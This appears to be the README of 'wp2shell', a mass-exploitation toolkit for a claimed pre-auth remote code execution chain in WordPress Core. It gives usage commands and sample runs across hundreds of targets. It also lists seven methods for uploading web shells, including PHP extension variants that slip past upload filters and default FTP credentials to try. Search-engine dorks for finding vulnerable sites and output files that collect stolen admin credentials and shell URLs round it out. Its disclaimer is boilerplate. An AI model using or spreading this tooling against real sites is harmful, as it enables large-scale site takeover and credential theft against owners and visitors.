wp2shell — WordPress Core Pre-Auth RCE

CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Zero-dependency exploitation toolkit for the wp2shell vulnerability chain in WordPress Core. A single anonymous HTTP request achieves remote code execution on a default WordPress installation with no plugins required.

🎯 Affected Versions

Range	Impact	Fixed In
7.0.0 – 7.0.1	Full RCE	7.0.2
6.9.0 – 6.9.4

No plugins or special configuration required. A naked WordPress install is exploitable.

🔗 Exploitation Flow

┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 Quick Start

pip install requests
python exploit.py

╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

Single Target

python exploit.py

  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

Mass Scan

python exploit.py

┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ Features

Zero dependencies — Python 3.11+ stdlib only (requests for expander only)
Multi-threaded — 15 threads default, up to 30
Auto-resume — log/scanned.txt skips already-scanned targets
Silent batch mode — Clean table output, no log spam
Auto-detection — WordPress + batch API + SQLi availability checks
7 parallel upload methods — First-win race condition

📤 Upload Methods

All 7 methods execute in parallel via ThreadPoolExecutor. The first successful method wins and the rest are cancelled.

Media upload extensions: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

FTP credentials tried: localhost / 127.0.0.1 with root / www-data / WordPress admin credentials

📁 Output Files

File	Content
`result.txt`	Admin credentials: `url.com/wp-login.php:user:pass`
`result_upload.txt`	Shell URLs: `shell_url \| login_url:user:pass \| method`

🔍 Dork / Hunting

Shodan

http.title:"WordPress"
http.component:"WordPress"

Fofa

app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

app:"WordPress"
"/wp-json/batch/v1"

Censys

services.http.response.body:"/wp-json/batch/v1"

📚 References

⚠️ Disclaimer

This tool is provided for authorized security research and penetration testing only. Use only on systems you own or have explicit written permission to test. The authors accept no liability for misuse.

📄 License

MIT License. See LICENSE for details.

1	`direct-plugin`	Upload zip via `/wp-admin/plugin-install.php`
2	`direct-theme`	Upload zip via `/wp-admin/theme-install.php`
3	`rest-api`	POST zip to `/wp-json/wp/v2/plugins` with auth cookie
4	`plugin-editor`	Write PHP directly via `/wp-admin/plugin-editor.php`
5	`theme-editor`	Write PHP into active theme directory
6	`ftp-bypass`	Submit FTP credentials when WordPress requests them
7	`media-upload`	Upload PHP via media library with 15 extension variants

CVE-2026-63030

Most Popular